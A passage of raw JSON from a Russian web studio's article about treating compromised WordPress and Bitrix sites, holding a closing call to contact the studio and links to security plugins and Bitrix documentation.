миграции сайтов и разделению сред (чтобы WP и Битрикс не мешали друг другу).","type":"unordered-list-item","key":"35d2i"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Свяжитесь с нами любым удобным способом, и мы сделаем диагностику и план лечения вашего сайта!","type":"unstyled","key":"ep0ub"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"451el"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"s2hTAjs1xjOeRttYzSVI"}],"entityMap":{"0":{"data":{"url":"https://mediamint.ru/services/razvitie-saytov/strakhovka-sayta/"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"url":"https://dev.1c-bitrix.ru/api_help/main/reference/cagent/delete.php"},"mutability":"MUTABLE","type":"LINK"},"2":{"data":{"url":"https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=3295"},"mutability":"MUTABLE","type":"LINK"},"3":{"data":{"url":"https://wordpress.org/plugins/captcha/"},"mutability":"MUTABLE","type":"LINK"},"4":{"data":{"url":"https://wordpress.org/plugins/wordfence/"},"mutability":"MUTABLE","type":"LINK"},"5":{"data":{"url":"https://wordpress.org/plugins/antivirus/"},"mutability":"MUTABLE","type":"LINK"},"6":{"data":{"url":"https://wordpress.org/plugins/sucuri-scanner/"},"mutability":"MUTABLE","type":"LINK"},"7":{"data":{"url":"https://www.1c-bitrix.ru/vul_dev/"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}